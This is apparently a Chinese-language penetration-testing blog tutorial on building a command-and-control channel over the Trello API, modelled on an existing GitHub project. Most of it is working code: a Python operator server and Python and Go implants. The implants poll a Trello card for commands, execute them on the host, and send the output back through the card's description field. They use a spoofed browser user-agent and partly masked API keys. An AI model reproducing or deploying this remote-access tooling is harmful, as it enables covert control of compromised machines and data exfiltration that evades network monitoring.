上两期文章中,我们主要讲述了内网渗透中的金银票据攻击,本次番外篇将对C&C工具展开分析。

一. 起源

前段时间看到一个特别有意思的项目 是通过trello 类似在线便利贴的功能,通过它本身API进行数据传输,类似之前用推特、slack、维基BAIKE等第三方服务的api 进行传输。

https://github.com/securemode/TrelloC2

软件介绍

Trello 是一款著名的全平台项目管理、任务管理、多人协作看板。Trello 是一种简便、免费、灵活的可视化方式,可以管理你的项目并组织各种事务。

缺陷:虽可通过API 进行相关参数的传参,但是具有相关的局限性。Trello API“描述”字段的大小受限制,该字段用于临时存储命令和结果命令输出。我认为大约是16k个字符。对于大多数命令来说,这是可以的,但是,由于Trello API返回400 Bad Request(大小太大)状态,返回大输出的命令将导致代理死亡。注意命令及其预期的输出。我最终将按照某种逻辑来确定命令输出的大小,然后再将其发送回trello的服务器以供 ”黑客“使用。
整体结构:

二. 建立开发环境

1.创建Trello帐户:https://trello.com/signup2.登录后,获取您的API密钥:https://trello.com/app-key3.生成令牌(与应用程序密钥相同的页面,点击“token”链接),转到链接后,点击允许即可4.保存API密钥和令牌,将在后续编写脚本过程中使用。5.创建新看板,在新看板链接增加   .json 即可看到6.在后续的编写脚本中所需的列表ID。

三. 服务端流程分析

1.要想GET,先取ID值

ID是唯一标识符,并且是随机创建。我们根据官方文档,使用GET时候,必须要增加ID 的值,那么我们根据文档的POST数据得到的JSON值,其中就有ID的值,我们只需取JSON中ID 即可。

2.使用官方API调用,我们必须要密钥和令牌才能对其操作

参考官方API文档,根据文档中的POST的方法 进行传参。
https://developers.trello.com/reference#cards-2

3.POST数据

根据官方文档提供的API参数,我们进行对card 进行相关操作,使用POST方法 讲数据上传

list_id = "5e4b4a5239ec6a1bda1446fb"api_key = "a9c4f22601673627660xxxx"token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242xxxxxxx"#根据 第一章第二节实验课中我们保存得到的相关ID

这是POST 后的数据,我们可以看到返回值两百,并有json返回,表示我们可以对该面板的card 有操作权限4.编写python POST 上传
使用python模拟POST上传,并获取json数据根据以上两点,我们对数据进行整理编写,将密钥、令牌等传参获得操作授权。POST传参 idList、name、key、token设定需post的数值为以下常量

list_id = "5e4b4a5239ec6a1bda1446fb"api_key = "a9c4f22601673627660d1b4xxxxx"token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e315xxxxxx"

对数据POST上传

ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}api_endpoint = "https://trello.com/1/cards"post_params = {"idList":list_id,"name": "test","key":api_key, "token":token}req = requests.request("POST", api_endpoint, params=post_params, headers=ua, verify=True)#POST数据data = req.json()#获取数据转换为json,以便后续取值print (data)

data = req.json()#获取数据转换为json,以便后续取值card_id = data['id']print("ID: " + card_id)

5.如何修改json数据并进行传参


根据官方文档API 的PUT方法中,我们可以将desc 参数修改增加我们需要放入的命令

cards_endpoint = "https://trello.com/1/cards/" + card_id#URL地址,获取card ID 地址内容while True:# 获取card的ID,以便PUT传参put_cmd_params = {"name": "test","desc": "cmd:test","key": api_key,"token": token}req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)# 进行PUT传参put_json = req.json()#获取PUT的jsonprint(put_json)

6.输入命令,将desc的内容变为变量

while True:cmd = input(" command> ")print(cmd)


则整理后的PUT代码为如下:

cards_endpoint = "https://trello.com/1/cards/" + card_idwhile True:cmd = input(" command> ")# 获取card的ID,以便PUT传参put_cmd_params = {"name": "test","desc": "cmd:"+cmd,"key": api_key,"token": token}req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)# 进行PUT传参put_json = req.json()#获取PUT的jsonprint(put_json)

服务端:

#!/usr/bin/env python3import requests, time, os, random, stringlist_id = "5e4b4fe1c0ce316dcf19a61d"api_key = "a9c4f22601673627660dxxxxx"token = "f2cbfcf9b4164c7ce7093370181cc873bxxx"#设定传参值ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}api_endpoint = "https://trello.com/1/cards"post_params = {"idList":list_id,"name": "test","key":api_key, "token":token}req = requests.request("POST", api_endpoint, params=post_params, headers=ua, verify=True)#POST数据data = req.json()#获取数据转换为json,以便后续取值# card_id = data['id']card_id = "5e4cd3566fd7033554d2acc0"# print("ID: " + card_id)cards_endpoint = "https://trello.com/1/cards/" + card_id# 获取card的ID,以便PUT传参def PUT(cmd):#定义一个PUT方法,将cmd进行传参       put_cmd_params = {"name": "test","desc": "cmd:"+cmd,"key": api_key,"token": token}req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)# 进行PUT传参put_json = req.json()#获取PUT的jsonoutput_exists = False#假设output回显退出条件为假output = ""#先定义output为空字符串while not output_exists:#循环条件为 不假,则不跳出循环time.sleep(3)get_params = {"name": "test","desc": "","key": api_key,"token": token}req = requests.request("GET", cards_endpoint, params=get_params, headers=ua, verify=True)response_data = req.json()output = response_data['desc']if "output:" in output: #循环条件,如果desc的值包含有output: 该字符串,则为真,跳出循环,并打印output的字符串output_exists = Trueprint(output.split(":",1)[1])#output的字符串put_null_params = {"name": "test","desc": "","key": api_key,"token": token}req = requests.request("PUT", cards_endpoint, params=put_null_params, headers=ua, verify=True)#清除desc内容while True:cmd = input(" command> ")if cmd =="help":command_menu = """> help (帮助参数)> exit (退出)"""print(command_menu)#判断 cmd接受的字符串为help 则打印command_menuelif cmd =="exit":break#判断 cmd接受的字符串为exit 则跳出循环else:PUT(cmd)

四. 客户端golang版

流程:
固定随机ID值获取desc的值取值分割cmd,并执行其命令增加服务端判断是否有output字符串由于客户端是python版本,我就想打算重新以golang语言重新编写这样一来编译后的文件可以跨平台使用而且体积小,大体的编写思路与python相似

1.python版本

#!/usr/bin/env python3import requests, time, os, random, stringlist_id = "5e4b4fe1c0ce316dcf19a61d"card_id="5e4cd3566fd7033554d2acc0"api_key = "a9c4f226016736276xxxxxxxxxx"token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e3xxxxxxx"ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}api_endpoint = "https://trello.com/1/cards/"+card_idget_params = {"name": "test","desc": "","key": api_key,"token": token}req = requests.request("GET", api_endpoint, params=get_params, headers=ua, verify=True)response_data = req.json()cmd = response_data['desc']# print(cmd.split(":"))# #以冒号分割,并切片。# #取值第二个元素while True:cmd_exists = Falsecmd = ""#同服务端一样,设定cmd 跳出循环的条件为假,并初始化cmd为空字符串类型while not cmd_exists: #循环条件为真,循环获取desc的值time.sleep(3)get_params = {"name": "test","desc": "hello","key": api_key,"token": token}req = requests.request("GET", api_endpoint, params=get_params, headers=ua, verify=True)response_data = req.json()#获取该card的json内容cmd = response_data['desc']if "cmd:" in cmd: #判断 条件为如果 如果有cmd:字符串内容,就跳出循环条件cmd_exists = Trueout =os.popen(cmd.split(":")[1]).read()#将输出回显的定义为out变量put_params = {"name": "test","desc": "output:" + out,"key": api_key,"token": token}req = requests.request("PUT", api_endpoint, params=put_params, headers=ua, verify=True)#将out put方法回传给服务端


2.完整代码 golang

验证身份,并获取json我们使用 net/http库进行对 URL身份验证和Get数据

req, err := http.NewRequest("GET", "https://trello.com/1/cards/5e0f12cc5f6a8021ce726451", nil)if err != nil {log.Print(err)os.Exit(1)}// GET URLq := req.URL.Query()q.Add("name", "demonsec666")q.Add("desc", "hello")q.Add("key", "a9c4f22601673627xxxxxxxx")q.Add("token", "f2cbfcf9b4164c7ce7xxxxxxxxxxxx")req.URL.RawQuery = q.Encode()//jqery 内容var resp *http.Responseresp, err = http.DefaultClient.Do(req)if err != nil {log.Print(err)}// fmt.Println(url)defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {// handle error}json := string(body)// 获取boby里面的字符串内容fmt.Println(json)


获取desc的值

// 将GET URL 中的json值赋值给json变量desc := gjson.Get(json, "desc")//获取json变量中的desc key的值fmt.Println(desc.String())

这里使用的是github.com/tidwall/gjson的库,用来获取json中desc的值
取值分割cmd,并执行其命令

cmd := strings.Split(desc.String(), ":")//获取desc的值并用:分割为数组if cmd[0] != "cmd" {continue // 判断是否有cmd字符串,如果是就跳转循环} else { //否则就执行下面语句command := exec.Command(cmd[1])//取值为第二元素为服务端接受的命令,并执行命令out, err := command.CombinedOutput()if err != nil {log.Fatalf("cmd.Run() failed with %s\n", err)}output := string(out)//将执行的命令返回结果赋值给output变量str := "output:" + outputfmt.Printf(str)}



使用put 将output回传给服务端这里用到的库是编码Golang 中的UTF-8 与GBK 编码转换的库和中文编码的库

"golang.org/x/text/encoding/simplifiedchinese""golang.org/x/text/transform"
// PUT 数据o := put.URL.Query()o.Add("name", "demonsec666")o.Add("desc", str)o.Add("key", "a9c4f22601673627660xxxxxx")o.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e3xxxxx")put.URL.RawQuery = o.Encode()if err != nil {// handle error}var resps *http.Responseresps, err = http.DefaultClient.Do(put)if err != nil {log.Print(err)}defer resps.Body.Close()

五. 最终效果

package mainimport ("bytes""fmt""io/ioutil""log""net/http""os""os/exec""strings""github.com/tidwall/gjson""golang.org/x/text/encoding/simplifiedchinese""golang.org/x/text/transform")func GbkToUtf8(s []byte) ([]byte, error) {reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GBK.NewDecoder())d, e := ioutil.ReadAll(reader)if e != nil {return nil, e}return d, nil}func Utf8ToGbk(s []byte) ([]byte, error) {reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GBK.NewEncoder())d, e := ioutil.ReadAll(reader)if e != nil {return nil, e}return d, nil}func main() {for true {req, err := http.NewRequest("GET", "https://trello.com/1/cards/5e0f12ccxxxx", nil)if err != nil {log.Print(err)os.Exit(1)}// GET URLq := req.URL.Query()q.Add("name", "demonsec666")q.Add("desc", "hello")q.Add("key", "a9c4f2260167362766xxxx")q.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e83368xxxxx")req.URL.RawQuery = q.Encode()//jqery 内容// Output:// http://api.themoviedb.org/3/tv/popular?another_thing=foo+%26+bar&api_key=key_from_environment_or_flagvar resp *http.Responseresp, err = http.DefaultClient.Do(req)if err != nil {log.Print(err)}// fmt.Println(url)defer resp.Body.Close()body, err := ioutil.ReadAll(resp.Body)if err != nil {// handle error}json := string(body)//将GET URL 中的json值赋值给json变量desc := gjson.Get(json, "desc")//获取json变量中的desc key的值cmd := strings.Split(desc.String(), ":")//获取desc的值并用:分割为数组if cmd[0] != "cmd" {continue // 判断是否有cmd字符串,如果是就跳转循环} else { //否则就执行下面语句command := exec.Command(cmd[1])//取值为第二元素为服务端接受的命令,并执行命令out, err := command.CombinedOutput()if err != nil {log.Fatalf("cmd.Run() failed with %s\n", err)}output := string(out)str := "output:" + outputfmt.Printf(str)//将执行的命令返回结果赋值给output变量put, err := http.NewRequest("PUT", "https://trello.com/1/cards/5e0f12cc5f6a80xxxx", nil)if err != nil {log.Print(err)os.Exit(1)}// GET URLo := put.URL.Query()o.Add("name", "demonsec666")o.Add("desc", str)o.Add("key", "a9c4f22601673627xxxxxx")o.Add("token", "f2cbfcf9b4164c7ce709337xxxxx")put.URL.RawQuery = o.Encode()if err != nil {// handle error}var resps *http.Responseresps, err = http.DefaultClient.Do(put)if err != nil {log.Print(err)}defer resps.Body.Close()}}}